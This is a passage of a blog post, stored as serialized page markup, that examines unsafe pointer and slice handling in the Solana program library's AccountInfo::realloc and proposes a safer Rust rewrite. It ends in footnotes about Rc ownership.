Safety\n",{"type":24,"tag":930,"props":20455,"children":20456},{"class":932,"line":1066},[20457],{"type":24,"tag":930,"props":20458,"children":20459},{"style":1422},[20460],{"type":30,"value":20445},{"type":24,"tag":930,"props":20462,"children":20463},{"class":932,"line":1075},[20464],{"type":24,"tag":930,"props":20465,"children":20466},{"style":1422},[20467],{"type":30,"value":20468},"/// This method assumes that the original data length was serialized as a u32\n",{"type":24,"tag":930,"props":20470,"children":20471},{"class":932,"line":1122},[20472],{"type":24,"tag":930,"props":20473,"children":20474},{"style":1422},[20475],{"type":30,"value":20476},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":24,"tag":930,"props":20478,"children":20479},{"class":932,"line":1131},[20480,20484,20488,20492,20497,20501,20505,20509,20513,20517,20521],{"type":24,"tag":930,"props":20481,"children":20482},{"style":937},[20483],{"type":30,"value":16797},{"type":24,"tag":930,"props":20485,"children":20486},{"style":937},[20487],{"type":30,"value":17696},{"type":24,"tag":930,"props":20489,"children":20490},{"style":937},[20491],{"type":30,"value":16802},{"type":24,"tag":930,"props":20493,"children":20494},{"style":1002},[20495],{"type":30,"value":20496}," original_data_len",{"type":24,"tag":930,"props":20498,"children":20499},{"style":959},[20500],{"type":30,"value":1010},{"type":24,"tag":930,"props":20502,"children":20503},{"style":1158},[20504],{"type":30,"value":6230},{"type":24,"tag":930,"props":20506,"children":20507},{"style":937},[20508],{"type":30,"value":16820},{"type":24,"tag":930,"props":20510,"children":20511},{"style":959},[20512],{"type":30,"value":5579},{"type":24,"tag":930,"props":20514,"children":20515},{"style":1158},[20516],{"type":30,"value":16864},{"type":24,"tag":930,"props":20518,"children":20519},{"style":943},[20520],{"type":30,"value":16838},{"type":24,"tag":930,"props":20522,"children":20523},{"style":959},[20524],{"type":30,"value":981},{"type":24,"tag":930,"props":20526,"children":20527},{"class":932,"line":1144},[20528,20532,20537,20541,20545,20549,20554,20558,20562,20566,20570,20574,20578,20582,20586],{"type":24,"tag":930,"props":20529,"children":20530},{"style":937},[20531],{"type":30,"value":6122},{"type":24,"tag":930,"props":20533,"children":20534},{"style":1023},[20535],{"type":30,"value":20536}," key_ptr",{"type":24,"tag":930,"props":20538,"children":20539},{"style":1158},[20540],{"type":30,"value":6137},{"type":24,"tag":930,"props":20542,"children":20543},{"style":937},[20544],{"type":30,"value":16904},{"type":24,"tag":930,"props":20546,"children":20547},{"style":1158},[20548],{"type":30,"value":436},{"type":24,"tag":930,"props":20550,"children":20551},{"style":959},[20552],{"type":30,"value":20553},"key ",{"type":24,"tag":930,"props":20555,"children":20556},{"style":937},[20557],{"type":30,"value":11951},{"type":24,"tag":930,"props":20559,"children":20560},{"style":1158},[20561],{"type":30,"value":12924},{"type":24,"tag":930,"props":20563,"children":20564},{"style":937},[20565],{"type":30,"value":12762},{"type":24,"tag":930,"props":20567,"children":20568},{"style":1023},[20569],{"type":30,"value":6159},{"type":24,"tag":930,"props":20571,"children":20572},{"style":937},[20573],{"type":30,"value":11937},{"type":24,"tag":930,"props":20575,"children":20576},{"style":1158},[20577],{"type":30,"value":12924},{"type":24,"tag":930,"props":20579,"children":20580},{"style":937},[20581],{"type":30,"value":12762},{"type":24,"tag":930,"props":20583,"children":20584},{"style":943},[20585],{"type":30,"value":17740},{"type":24,"tag":930,"props":20587,"children":20588},{"style":959},[20589],{"type":30,"value":5539},{"type":24,"tag":930,"props":20591,"children":20592},{"class":932,"line":1169},[20593,20597,20602,20606,20610,20614,20618,20622,20626,20631,20635,20639,20643,20647,20652],{"type":24,"tag":930,"props":20594,"children":20595},{"style":937},[20596],{"type":30,"value":6122},{"type":24,"tag":930,"props":20598,"children":20599},{"style":1023},[20600],{"type":30,"value":20601}," original_data_len_ptr",{"type":24,"tag":930,"props":20603,"children":20604},{"style":1158},[20605],{"type":30,"value":6137},{"type":24,"tag":930,"props":20607,"children":20608},{"style":1023},[20609],{"type":30,"value":20536},{"type":24,"tag":930,"props":20611,"children":20612},{"style":1158},[20613],{"type":30,"value":436},{"type":24,"tag":930,"props":20615,"children":20616},{"style":1002},[20617],{"type":30,"value":17008},{"type":24,"tag":930,"props":20619,"children":20620},{"style":959},[20621],{"type":30,"value":1010},{"type":24,"tag":930,"props":20623,"children":20624},{"style":1158},[20625],{"type":30,"value":1215},{"type":24,"tag":930,"props":20627,"children":20628},{"style":1242},[20629],{"type":30,"value":20630},"4",{"type":24,"tag":930,"props":20632,"children":20633},{"style":959},[20634],{"type":30,"value":5579},{"type":24,"tag":930,"props":20636,"children":20637},{"style":937},[20638],{"type":30,"value":11951},{"type":24,"tag":930,"props":20640,"children":20641},{"style":1158},[20642],{"type":30,"value":12924},{"type":24,"tag":930,"props":20644,"children":20645},{"style":937},[20646],{"type":30,"value":12762},{"type":24,"tag":930,"props":20648,"children":20649},{"style":943},[20650],{"type":30,"value":20651}," u32",{"type":24,"tag":930,"props":20653,"children":20654},{"style":959},[20655],{"type":30,"value":5539},{"type":24,"tag":930,"props":20657,"children":20658},{"class":932,"line":1191},[20659,20664,20669,20673],{"type":24,"tag":930,"props":20660,"children":20661},{"style":1158},[20662],{"type":30,"value":20663},"    *",{"type":24,"tag":930,"props":20665,"children":20666},{"style":1023},[20667],{"type":30,"value":20668},"original_data_len_ptr",{"type":24,"tag":930,"props":20670,"children":20671},{"style":937},[20672],{"type":30,"value":11937},{"type":24,"tag":930,"props":20674,"children":20675},{"style":943},[20676],{"type":30,"value":20075},{"type":24,"tag":930,"props":20678,"children":20679},{"class":932,"line":1223},[20680],{"type":24,"tag":930,"props":20681,"children":20682},{"style":959},[20683],{"type":30,"value":2528},{"type":24,"tag":33,"props":20685,"children":20686},{},[20687,20689,20694,20696,20701,20703,20708,20710,20715,20717,20724,20726,20733,20734,20741,20742,20749,20750,20757],{"type":30,"value":20688},"It's marked ",{"type":24,"tag":156,"props":20690,"children":20692},{"className":20691},[],[20693],{"type":30,"value":17462},{"type":30,"value":20695},", properly documented, but there's just one problem: we need this for ",{"type":24,"tag":156,"props":20697,"children":20699},{"className":20698},[],[20700],{"type":30,"value":16745},{"type":30,"value":20702},", which originally was not ",{"type":24,"tag":156,"props":20704,"children":20706},{"className":20705},[],[20707],{"type":30,"value":17462},{"type":30,"value":20709},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":24,"tag":156,"props":20711,"children":20713},{"className":20712},[],[20714],{"type":30,"value":17462},{"type":30,"value":20716}," block and added ",{"type":24,"tag":37,"props":20718,"children":20721},{"href":20719,"rel":20720},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[41],[20722],{"type":30,"value":20723},"a doc comment",{"type":30,"value":20725}," - adding to the ",{"type":24,"tag":37,"props":20727,"children":20730},{"href":20728,"rel":20729},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[41],[20731],{"type":30,"value":20732},"small",{"type":30,"value":510},{"type":24,"tag":37,"props":20735,"children":20738},{"href":20736,"rel":20737},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[41],[20739],{"type":30,"value":20740},"pile",{"type":30,"value":510},{"type":24,"tag":37,"props":20743,"children":20746},{"href":20744,"rel":20745},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[41],[20747],{"type":30,"value":20748},"of",{"type":30,"value":510},{"type":24,"tag":37,"props":20751,"children":20754},{"href":20752,"rel":20753},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[41],[20755],{"type":30,"value":20756},"functions",{"type":30,"value":20758}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":24,"tag":68,"props":20760,"children":20762},{"id":20761},"towards-safer-unsafe",[20763,20765],{"type":30,"value":20764},"Towards safer ",{"type":24,"tag":156,"props":20766,"children":20768},{"className":20767},[],[20769],{"type":30,"value":17462},{"type":24,"tag":33,"props":20771,"children":20772},{},[20773,20775,20780,20782,20787,20789,20795],{"type":30,"value":20774},"Let's circle back to that main ",{"type":24,"tag":156,"props":20776,"children":20778},{"className":20777},[],[20779],{"type":30,"value":17462},{"type":30,"value":20781}," block inside ",{"type":24,"tag":156,"props":20783,"children":20785},{"className":20784},[],[20786],{"type":30,"value":16745},{"type":30,"value":20788}," for a bit, shall we? As a reminder, it looks like ",{"type":24,"tag":37,"props":20790,"children":20793},{"href":20791,"rel":20792},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[41],[20794],{"type":30,"value":1722},{"type":30,"value":476},{"type":24,"tag":920,"props":20797,"children":20799},{"className":6102,"code":20798,"language":6101,"meta":7,"style":7},"// realloc\nunsafe {\n    // First set new length in the serialized data\n    let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n    *ptr = new_len as u64;\n\n    // Then set the new length in the local slice\n    let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n    *ptr = new_len as u64;\n}\n",[20800],{"type":24,"tag":156,"props":20801,"children":20802},{"__ignoreMap":7},[20803,20811,20822,20830,20917,20948,20955,20963,21090,21121],{"type":24,"tag":930,"props":20804,"children":20805},{"class":932,"line":933},[20806],{"type":24,"tag":930,"props":20807,"children":20808},{"style":1422},[20809],{"type":30,"value":20810},"// realloc\n",{"type":24,"tag":930,"props":20812,"children":20813},{"class":932,"line":984},[20814,20818],{"type":24,"tag":930,"props":20815,"children":20816},{"style":937},[20817],{"type":30,"value":17462},{"type":24,"tag":930,"props":20819,"children":20820},{"style":959},[20821],{"type":30,"value":981},{"type":24,"tag":930,"props":20823,"children":20824},{"class":932,"line":993},[20825],{"type":24,"tag":930,"props":20826,"children":20827},{"style":1422},[20828],{"type":30,"value":20829},"    // First set new length in the serialized data\n",{"type":24,"tag":930,"props":20831,"children":20832},{"class":932,"line":1057},[20833,20837,20841,20845,20849,20853,20857,20861,20865,20869,20873,20877,20881,20885,20889,20893,20897,20901,20905,20909,20913],{"type":24,"tag":930,"props":20834,"children":20835},{"style":937},[20836],{"type":30,"value":6122},{"type":24,"tag":930,"props":20838,"children":20839},{"style":1023},[20840],{"type":30,"value":16964},{"type":24,"tag":930,"props":20842,"children":20843},{"style":1158},[20844],{"type":30,"value":6137},{"type":24,"tag":930,"props":20846,"children":20847},{"style":937},[20848],{"type":30,"value":16904},{"type":24,"tag":930,"props":20850,"children":20851},{"style":1158},[20852],{"type":30,"value":436},{"type":24,"tag":930,"props":20854,"children":20855},{"style":1002},[20856],{"type":30,"value":16981},{"type":24,"tag":930,"props":20858,"children":20859},{"style":959},[20860],{"type":30,"value":16986},{"type":24,"tag":930,"props":20862,"children":20863},{"style":1158},[20864],{"type":30,"value":6254},{"type":24,"tag":930,"props":20866,"children":20867},{"style":1002},[20868],{"type":30,"value":16995},{"type":24,"tag":930,"props":20870,"children":20871},{"style":959},[20872],{"type":30,"value":16986},{"type":24,"tag":930,"props":20874,"children":20875},{"style":1158},[20876],{"type":30,"value":436},{"type":24,"tag":930,"props":20878,"children":20879},{"style":1002},[20880],{"type":30,"value":17008},{"type":24,"tag":930,"props":20882,"children":20883},{"style":959},[20884],{"type":30,"value":1010},{"type":24,"tag":930,"props":20886,"children":20887},{"style":1158},[20888],{"type":30,"value":1215},{"type":24,"tag":930,"props":20890,"children":20891},{"style":1242},[20892],{"type":30,"value":7192},{"type":24,"tag":930,"props":20894,"children":20895},{"style":959},[20896],{"type":30,"value":5579},{"type":24,"tag":930,"props":20898,"children":20899},{"style":937},[20900],{"type":30,"value":11951},{"type":24,"tag":930,"props":20902,"children":20903},{"style":1158},[20904],{"type":30,"value":12924},{"type":24,"tag":930,"props":20906,"children":20907},{"style":937},[20908],{"type":30,"value":6839},{"type":24,"tag":930,"props":20910,"children":20911},{"style":943},[20912],{"type":30,"value":8972},{"type":24,"tag":930,"props":20914,"children":20915},{"style":959},[20916],{"type":30,"value":5539},{"type":24,"tag":930,"props":20918,"children":20919},{"class":932,"line":1066},[20920,20924,20928,20932,20936,20940,20944],{"type":24,"tag":930,"props":20921,"children":20922},{"style":1158},[20923],{"type":30,"value":20663},{"type":24,"tag":930,"props":20925,"children":20926},{"style":1023},[20927],{"type":30,"value":17056},{"type":24,"tag":930,"props":20929,"children":20930},{"style":1158},[20931],{"type":30,"value":6137},{"type":24,"tag":930,"props":20933,"children":20934},{"style":1023},[20935],{"type":30,"value":17065},{"type":24,"tag":930,"props":20937,"children":20938},{"style":937},[20939],{"type":30,"value":11937},{"type":24,"tag":930,"props":20941,"children":20942},{"style":943},[20943],{"type":30,"value":8972},{"type":24,"tag":930,"props":20945,"children":20946},{"style":959},[20947],{"type":30,"value":5539},{"type":24,"tag":930,"props":20949,"children":20950},{"class":932,"line":1075},[20951],{"type":24,"tag":930,"props":20952,"children":20953},{"emptyLinePlaceholder":16},[20954],{"type":30,"value":2412},{"type":24,"tag":930,"props":20956,"children":20957},{"class":932,"line":1122},[20958],{"type":24,"tag":930,"props":20959,"children":20960},{"style":1422},[20961],{"type":30,"value":20962},"    // Then set the new length in the local slice\n",{"type":24,"tag":930,"props":20964,"children":20965},{"class":932,"line":1131},[20966,20970,20974,20978,20982,20986,20990,20994,20998,21002,21006,21010,21014,21018,21022,21026,21030,21034,21038,21042,21046,21050,21054,21058,21062,21066,21070,21074,21078,21082,21086],{"type":24,"tag":930,"props":20967,"children":20968},{"style":937},[20969],{"type":30,"value":6122},{"type":24,"tag":930,"props":20971,"children":20972},{"style":1023},[20973],{"type":30,"value":16964},{"type":24,"tag":930,"props":20975,"children":20976},{"style":1158},[20977],{"type":30,"value":6137},{"type":24,"tag":930,"props":20979,"children":20980},{"style":1158},[20981],{"type":30,"value":10253},{"type":24,"tag":930,"props":20983,"children":20984},{"style":937},[20985],{"type":30,"value":6839},{"type":24,"tag":930,"props":20987,"children":20988},{"style":1158},[20989],{"type":30,"value":12924},{"type":24,"tag":930,"props":20991,"children":20992},{"style":959},[20993],{"type":30,"value":17124},{"type":24,"tag":930,"props":20995,"children":20996},{"style":937},[20997],{"type":30,"value":16820},{"type":24,"tag":930,"props":20999,"children":21000},{"style":1158},[21001],{"type":30,"value":436},{"type":24,"tag":930,"props":21003,"children":21004},{"style":959},[21005],{"type":30,"value":6817},{"type":24,"tag":930,"props":21007,"children":21008},{"style":1158},[21009],{"type":30,"value":436},{"type":24,"tag":930,"props":21011,"children":21012},{"style":1002},[21013],{"type":30,"value":17145},{"type":24,"tag":930,"props":21015,"children":21016},{"style":959},[21017],{"type":30,"value":3446},{"type":24,"tag":930,"props":21019,"children":21020},{"style":937},[21021],{"type":30,"value":11951},{"type":24,"tag":930,"props":21023,"children":21024},{"style":1158},[21025],{"type":30,"value":12924},{"type":24,"tag":930,"props":21027,"children":21028},{"style":937},[21029],{"type":30,"value":12762},{"type":24,"tag":930,"props":21031,"children":21032},{"style":943},[21033],{"type":30,"value":8972},{"type":24,"tag":930,"props":21035,"children":21036},{"style":959},[21037],{"type":30,"value":6249},{"type":24,"tag":930,"props":21039,"children":21040},{"style":1158},[21041],{"type":30,"value":436},{"type":24,"tag":930,"props":21043,"children":21044},{"style":1002},[21045],{"type":30,"value":17008},{"type":24,"tag":930,"props":21047,"children":21048},{"style":959},[21049],{"type":30,"value":1010},{"type":24,"tag":930,"props":21051,"children":21052},{"style":1242},[21053],{"type":30,"value":7129},{"type":24,"tag":930,"props":21055,"children":21056},{"style":959},[21057],{"type":30,"value":5579},{"type":24,"tag":930,"props":21059,"children":21060},{"style":937},[21061],{"type":30,"value":11951},{"type":24,"tag":930,"props":21063,"children":21064},{"style":943},[21065],{"type":30,"value":8972},{"type":24,"tag":930,"props":21067,"children":21068},{"style":959},[21069],{"type":30,"value":5579},{"type":24,"tag":930,"props":21071,"children":21072},{"style":937},[21073],{"type":30,"value":11951},{"type":24,"tag":930,"props":21075,"children":21076},{"style":1158},[21077],{"type":30,"value":12924},{"type":24,"tag":930,"props":21079,"children":21080},{"style":937},[21081],{"type":30,"value":6839},{"type":24,"tag":930,"props":21083,"children":21084},{"style":943},[21085],{"type":30,"value":8972},{"type":24,"tag":930,"props":21087,"children":21088},{"style":959},[21089],{"type":30,"value":1278},{"type":24,"tag":930,"props":21091,"children":21092},{"class":932,"line":1144},[21093,21097,21101,21105,21109,21113,21117],{"type":24,"tag":930,"props":21094,"children":21095},{"style":1158},[21096],{"type":30,"value":20663},{"type":24,"tag":930,"props":21098,"children":21099},{"style":1023},[21100],{"type":30,"value":17056},{"type":24,"tag":930,"props":21102,"children":21103},{"style":1158},[21104],{"type":30,"value":6137},{"type":24,"tag":930,"props":21106,"children":21107},{"style":1023},[21108],{"type":30,"value":17065},{"type":24,"tag":930,"props":21110,"children":21111},{"style":937},[21112],{"type":30,"value":11937},{"type":24,"tag":930,"props":21114,"children":21115},{"style":943},[21116],{"type":30,"value":8972},{"type":24,"tag":930,"props":21118,"children":21119},{"style":959},[21120],{"type":30,"value":5539},{"type":24,"tag":930,"props":21122,"children":21123},{"class":932,"line":1169},[21124],{"type":24,"tag":930,"props":21125,"children":21126},{"style":959},[21127],{"type":30,"value":2528},{"type":24,"tag":33,"props":21129,"children":21130},{},[21131,21133,21138],{"type":30,"value":21132},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":24,"tag":156,"props":21134,"children":21136},{"className":21135},[],[21137],{"type":30,"value":18607},{"type":30,"value":21139}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":24,"tag":33,"props":21141,"children":21142},{},[21143,21145,21150,21152,21157,21159,21164,21166,21171,21173,21178,21180,21186,21188,21198,21200,21211],{"type":30,"value":21144},"First, let's deal with the ",{"type":24,"tag":156,"props":21146,"children":21148},{"className":21147},[],[21149],{"type":30,"value":18607},{"type":30,"value":21151}," borrowing issue. When we ",{"type":24,"tag":156,"props":21153,"children":21155},{"className":21154},[],[21156],{"type":30,"value":16981},{"type":30,"value":21158},", we get a ",{"type":24,"tag":156,"props":21160,"children":21162},{"className":21161},[],[21163],{"type":30,"value":19842},{"type":30,"value":21165}," back, which represents our borrow of the ",{"type":24,"tag":156,"props":21167,"children":21169},{"className":21168},[],[21170],{"type":30,"value":18607},{"type":30,"value":21172},"'s data. The fix here is simple: keep that ",{"type":24,"tag":156,"props":21174,"children":21176},{"className":21175},[],[21177],{"type":30,"value":19842},{"type":30,"value":21179}," around and use it to access the data, instead of using ",{"type":24,"tag":156,"props":21181,"children":21183},{"className":21182},[],[21184],{"type":30,"value":21185},"RefCell::as_ptr",{"type":30,"value":21187},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":24,"tag":18577,"props":21189,"children":21190},{},[21191],{"type":24,"tag":37,"props":21192,"children":21196},{"href":21193,"ariaDescribedBy":21194,"dataFootnoteRef":7,"id":21195},"#user-content-fn-rustc-llvm",[18584],"user-content-fnref-rustc-llvm",[21197],{"type":30,"value":20630},{"type":30,"value":21199}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":24,"tag":18577,"props":21201,"children":21202},{},[21203],{"type":24,"tag":37,"props":21204,"children":21208},{"href":21205,"ariaDescribedBy":21206,"dataFootnoteRef":7,"id":21207},"#user-content-fn-godbolt",[18584],"user-content-fnref-godbolt",[21209],{"type":30,"value":21210},"5",{"type":30,"value":21212},". So then we get:",{"type":24,"tag":920,"props":21214,"children":21216},{"className":6102,"code":21215,"language":6101,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[21217],{"type":24,"tag":156,"props":21218,"children":21219},{"__ignoreMap":7},[21220,21264,21271,21278,21362,21402,21409,21416],{"type":24,"tag":930,"props":21221,"children":21222},{"class":932,"line":933},[21223,21227,21231,21236,21240,21244,21248,21252,21256,21260],{"type":24,"tag":930,"props":21224,"children":21225},{"style":937},[21226],{"type":30,"value":14894},{"type":24,"tag":930,"props":21228,"children":21229},{"style":937},[21230],{"type":30,"value":6127},{"type":24,"tag":930,"props":21232,"children":21233},{"style":1023},[21234],{"type":30,"value":21235}," slice",{"type":24,"tag":930,"props":21237,"children":21238},{"style":1158},[21239],{"type":30,"value":6137},{"type":24,"tag":930,"props":21241,"children":21242},{"style":937},[21243],{"type":30,"value":16904},{"type":24,"tag":930,"props":21245,"children":21246},{"style":1158},[21247],{"type":30,"value":436},{"type":24,"tag":930,"props":21249,"children":21250},{"style":1002},[21251],{"type":30,"value":16981},{"type":24,"tag":930,"props":21253,"children":21254},{"style":959},[21255],{"type":30,"value":16986},{"type":24,"tag":930,"props":21257,"children":21258},{"style":1158},[21259],{"type":30,"value":5347},{"type":24,"tag":930,"props":21261,"children":21262},{"style":959},[21263],{"type":30,"value":5539},{"type":24,"tag":930,"props":21265,"children":21266},{"class":932,"line":984},[21267],{"type":24,"tag":930,"props":21268,"children":21269},{"emptyLinePlaceholder":16},[21270],{"type":30,"value":2412},{"type":24,"tag":930,"props":21272,"children":21273},{"class":932,"line":993},[21274],{"type":24,"tag":930,"props":21275,"children":21276},{"style":1422},[21277],{"type":30,"value":17509},{"type":24,"tag":930,"props":21279,"children":21280},{"class":932,"line":1057},[21281,21285,21289,21293,21297,21301,21305,21309,21313,21317,21321,21325,21329,21333,21337,21342,21346,21350,21354,21358],{"type":24,"tag":930,"props":21282,"children":21283},{"style":937},[21284],{"type":30,"value":14894},{"type":24,"tag":930,"props":21286,"children":21287},{"style":1023},[21288],{"type":30,"value":16964},{"type":24,"tag":930,"props":21290,"children":21291},{"style":1158},[21292],{"type":30,"value":6137},{"type":24,"tag":930,"props":21294,"children":21295},{"style":937},[21296],{"type":30,"value":17696},{"type":24,"tag":930,"props":21298,"children":21299},{"style":959},[21300],{"type":30,"value":12694},{"type":24,"tag":930,"props":21302,"children":21303},{"style":1023},[21304],{"type":30,"value":18416},{"type":24,"tag":930,"props":21306,"children":21307},{"style":1158},[21308],{"type":30,"value":436},{"type":24,"tag":930,"props":21310,"children":21311},{"style":1002},[21312],{"type":30,"value":16995},{"type":24,"tag":930,"props":21314,"children":21315},{"style":959},[21316],{"type":30,"value":16986},{"type":24,"tag":930,"props":21318,"children":21319},{"style":1158},[21320],{"type":30,"value":436},{"type":24,"tag":930,"props":21322,"children":21323},{"style":1002},[21324],{"type":30,"value":17008},{"type":24,"tag":930,"props":21326,"children":21327},{"style":959},[21328],{"type":30,"value":1010},{"type":24,"tag":930,"props":21330,"children":21331},{"style":1158},[21332],{"type":30,"value":1215},{"type":24,"tag":930,"props":21334,"children":21335},{"style":1242},[21336],{"type":30,"value":7192},{"type":24,"tag":930,"props":21338,"children":21339},{"style":959},[21340],{"type":30,"value":21341},") } ",{"type":24,"tag":930,"props":21343,"children":21344},{"style":937},[21345],{"type":30,"value":11951},{"type":24,"tag":930,"props":21347,"children":21348},{"style":1158},[21349],{"type":30,"value":12924},{"type":24,"tag":930,"props":21351,"children":21352},{"style":937},[21353],{"type":30,"value":6839},{"type":24,"tag":930,"props":21355,"children":21356},{"style":943},[21357],{"type":30,"value":8972},{"type":24,"tag":930,"props":21359,"children":21360},{"style":959},[21361],{"type":30,"value":5539},{"type":24,"tag":930,"props":21363,"children":21364},{"class":932,"line":1066},[21365,21369,21373,21377,21381,21385,21389,21393,21397],{"type":24,"tag":930,"props":21366,"children":21367},{"style":937},[21368],{"type":30,"value":17462},{"type":24,"tag":930,"props":21370,"children":21371},{"style":959},[21372],{"type":30,"value":12694},{"type":24,"tag":930,"props":21374,"children":21375},{"style":1158},[21376],{"type":30,"value":1410},{"type":24,"tag":930,"props":21378,"children":21379},{"style":1023},[21380],{"type":30,"value":17056},{"type":24,"tag":930,"props":21382,"children":21383},{"style":1158},[21384],{"type":30,"value":6137},{"type":24,"tag":930,"props":21386,"children":21387},{"style":1023},[21388],{"type":30,"value":17065},{"type":24,"tag":930,"props":21390,"children":21391},{"style":937},[21392],{"type":30,"value":11937},{"type":24,"tag":930,"props":21394,"children":21395},{"style":943},[21396],{"type":30,"value":8972},{"type":24,"tag":930,"props":21398,"children":21399},{"style":959},[21400],{"type":30,"value":21401}," };\n",{"type":24,"tag":930,"props":21403,"children":21404},{"class":932,"line":1075},[21405],{"type":24,"tag":930,"props":21406,"children":21407},{"emptyLinePlaceholder":16},[21408],{"type":30,"value":2412},{"type":24,"tag":930,"props":21410,"children":21411},{"class":932,"line":1122},[21412],{"type":24,"tag":930,"props":21413,"children":21414},{"style":1422},[21415],{"type":30,"value":19242},{"type":24,"tag":930,"props":21417,"children":21418},{"class":932,"line":1131},[21419,21423,21427,21431,21435,21440,21444,21448,21452,21457,21461,21465,21469,21473,21477,21481],{"type":24,"tag":930,"props":21420,"children":21421},{"style":1158},[21422],{"type":30,"value":1410},{"type":24,"tag":930,"props":21424,"children":21425},{"style":1023},[21426],{"type":30,"value":18416},{"type":24,"tag":930,"props":21428,"children":21429},{"style":1158},[21430],{"type":30,"value":6137},{"type":24,"tag":930,"props":21432,"children":21433},{"style":937},[21434],{"type":30,"value":17696},{"type":24,"tag":930,"props":21436,"children":21437},{"style":959},[21438],{"type":30,"value":21439}," { std",{"type":24,"tag":930,"props":21441,"children":21442},{"style":1158},[21443],{"type":30,"value":6597},{"type":24,"tag":930,"props":21445,"children":21446},{"style":959},[21447],{"type":30,"value":18416},{"type":24,"tag":930,"props":21449,"children":21450},{"style":1158},[21451],{"type":30,"value":6597},{"type":24,"tag":930,"props":21453,"children":21454},{"style":1002},[21455],{"type":30,"value":21456},"from_raw_parts_mut",{"type":24,"tag":930,"props":21458,"children":21459},{"style":959},[21460],{"type":30,"value":1010},{"type":24,"tag":930,"props":21462,"children":21463},{"style":1023},[21464],{"type":30,"value":18416},{"type":24,"tag":930,"props":21466,"children":21467},{"style":1158},[21468],{"type":30,"value":436},{"type":24,"tag":930,"props":21470,"children":21471},{"style":1002},[21472],{"type":30,"value":16995},{"type":24,"tag":930,"props":21474,"children":21475},{"style":959},[21476],{"type":30,"value":1364},{"type":24,"tag":930,"props":21478,"children":21479},{"style":1023},[21480],{"type":30,"value":16829},{"type":24,"tag":930,"props":21482,"children":21483},{"style":959},[21484],{"type":30,"value":17849},{"type":24,"tag":33,"props":21486,"children":21487},{},[21488,21490,21495,21497,21502,21504,21509,21511],{"type":30,"value":21489},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":24,"tag":156,"props":21491,"children":21493},{"className":21492},[],[21494],{"type":30,"value":11152},{"type":30,"value":21496}," and not a ",{"type":24,"tag":156,"props":21498,"children":21500},{"className":21499},[],[21501],{"type":30,"value":19703},{"type":30,"value":21503}," for the size field, given that ",{"type":24,"tag":156,"props":21505,"children":21507},{"className":21506},[],[21508],{"type":30,"value":19703},{"type":30,"value":21510}," is architecture-dependent), and no dependency on slice reference internals!",{"type":24,"tag":18577,"props":21512,"children":21513},{},[21514],{"type":24,"tag":37,"props":21515,"children":21519},{"href":21516,"ariaDescribedBy":21517,"dataFootnoteRef":7,"id":21518},"#user-content-fn-slice-unbound-lifetime",[18584],"user-content-fnref-slice-unbound-lifetime",[21520],{"type":30,"value":21521},"6",{"type":24,"tag":21523,"props":21524,"children":21527},"section",{"className":21525,"dataFootnotes":7},[21526],"footnotes",[21528,21535],{"type":24,"tag":68,"props":21529,"children":21532},{"className":21530,"id":18584},[21531],"sr-only",[21533],{"type":30,"value":21534},"Footnotes",{"type":24,"tag":478,"props":21536,"children":21537},{},[21538,21643,21661,21716,21729,21757],{"type":24,"tag":100,"props":21539,"children":21541},{"id":21540},"user-content-fn-rc-refs",[21542,21544,21550,21552,21557,21559,21563,21565,21569,21571,21576,21578,21584,21586,21591,21593,21603,21605,21610,21612,21617,21619,21624,21626,21632,21634],{"type":30,"value":21543},"I find it helpful to view owning an ",{"type":24,"tag":156,"props":21545,"children":21547},{"className":21546},[],[21548],{"type":30,"value":21549},"Rc\u003CT>",{"type":30,"value":21551}," as holding a shared reference to the underlying ",{"type":24,"tag":156,"props":21553,"children":21555},{"className":21554},[],[21556],{"type":30,"value":9100},{"type":30,"value":21558}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":24,"tag":6032,"props":21560,"children":21561},{},[21562],{"type":30,"value":19559},{"type":30,"value":21564}," ensures that the actual ",{"type":24,"tag":6032,"props":21566,"children":21567},{},[21568],{"type":30,"value":6817},{"type":30,"value":21570}," stays alive, however all you have is a reference to the ",{"type":24,"tag":156,"props":21572,"children":21574},{"className":21573},[],[21575],{"type":30,"value":9100},{"type":30,"value":21577}," (through the ",{"type":24,"tag":156,"props":21579,"children":21581},{"className":21580},[],[21582],{"type":30,"value":21583},"Deref\u003CTarget = T>",{"type":30,"value":21585}," impl) - ",{"type":24,"tag":6032,"props":21587,"children":21588},{},[21589],{"type":30,"value":21590},"not",{"type":30,"value":21592}," ownership ",{"type":24,"tag":6032,"props":21594,"children":21595},{},[21596,21598],{"type":30,"value":21597},"of the ",{"type":24,"tag":156,"props":21599,"children":21601},{"className":21600},[],[21602],{"type":30,"value":9100},{"type":30,"value":21604},". In short, owning an ",{"type":24,"tag":156,"props":21606,"children":21608},{"className":21607},[],[21609],{"type":30,"value":21549},{"type":30,"value":21611}," is owning a (shared, read-only) reference to 